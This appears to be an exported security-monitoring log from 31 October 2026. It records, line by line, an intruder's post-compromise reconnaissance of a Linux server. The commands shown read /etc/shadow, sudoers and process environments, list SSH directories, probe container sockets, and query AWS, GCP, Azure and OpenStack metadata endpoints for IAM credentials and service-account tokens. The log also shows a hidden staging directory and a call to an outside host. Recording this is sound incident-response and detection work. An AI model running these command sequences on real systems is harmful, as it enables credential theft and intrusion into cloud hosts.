echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ |
| 2026-10-31 01:12:34 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l /bin/bash /usr/bin/bash |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /etc/resolv.conf |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /etc/hosts |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /proc/net/udp /proc/net/udp6 |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /proc/net/arp |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /proc/net/tcp /proc/net/tcp6 |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:12:36 | Not attributed | Not attributed | sh -> sh | cat /proc/net/route |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | cat /etc/shadow |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | cat /etc/passwd |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | cat /etc/group |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | ps auxww |
| 2026-10-31 01:12:41 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | ls -la /root/.ssh /home/*/.ssh |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | ls -la /root /home |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
|
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | ls -la /etc/sudoers.d |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | cat /root/.ssh/config /home/*/.ssh/config |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | who |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | ls -la /root |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | w |
| 2026-10-31 01:12:46 | Not attributed | Not attributed | sh -> sh | cat /etc/gshadow |
| 2026-10-31 01:12:51 | Not attributed | Not attributed | sh -> sh | ls -la /etc/default /etc/sysconfig |
| 2026-10-31 01:12:51 | Not attributed | Not attributed | sh -> sh | ls -la /etc/profile.d |
| 2026-10-31 01:12:54 | Not attributed | Not attributed | sh -> sh | ls -la /.dockerenv /run/.containerenv |
| 2026-10-31 01:12:54 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m |
| 2026-10-31 01:12:54 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro |
| 2026-10-31 01:12:54 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec |
| 2026-10-31 01:12:54 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" |
| 2026-10-31 01:12:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | mkdir -p /var/tmp/.p |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/secrets/kubernetes.io/serviceaccount/ |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | timeout -> timeout | sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | ls -la /run/secrets /var/run/secrets |
| 2026-10-31 01:13:01 | Not attributed | Not attributed | sh -> sh | ls -la /proc/1/root |
| 2026-10-31 01:13:03 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l /dev/fuse |
| 2026-10-31 01:13:08 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 |
| 2026-10-31 01:13:08 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone |
| 2026-10-31 01:13:08 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 |
| 2026-10-31 01:13:15 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname |
| 2026-10-31 01:13:15 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname |
| 2026-10-31 01:13:20 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups |
| 2026-10-31 01:13:20 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-10-31 01:13:20 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info |
| 2026-10-31 01:13:27 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json |
| 2026-10-31 01:13:27 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token |
| 2026-10-31 01:13:32 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| 2026-10-31 01:13:32 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ |
| 2026-10-31 01:13:32 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data |
| 2026-10-31 01:13:32 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 2026-10-31 01:13:32 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id |
| 2026-10-31 01:13:37 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | find /var/www /usr/share/nginx /srv/www -name .htaccess -type f |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ |
| 2026-10-31 01:13:42 | Not attributed | Not attributed | sh -> sh | ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www |
| 2026-10-31 01:13:47 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:13:47 | Not attributed | Not attributed | sh -> sh | find /home -type f -size -256k |
| 2026-10-31 01:13:47 | Not attributed | Not attributed | sh -> sh | find /usr/local/etc/php -type f -size -256k |
| 2026-10-31 01:13:47 | Not attributed | Not attributed | sh -> sh | find /etc/apache2 -type f -size -256k |
| 2026-10-31 01:13:47 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-20261031 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.l |
| 2026-10-31 01:13:58 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o /dev/null -w s=%{http_code} http://206.245.153.56:8088/serve/ |
| 2026-10-31 01:15:19 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-20261031 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclu |
| 2026-10-31 01:15:19 | Not attributed | Not attributed | sh -> sh | timeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --ex |
| 2026-10-31 01:15:19 | Not attributed | Not attributed | timeout -> timeout | sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir=' |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-20261031 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200
echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -p |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | ls -laR /var/log |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
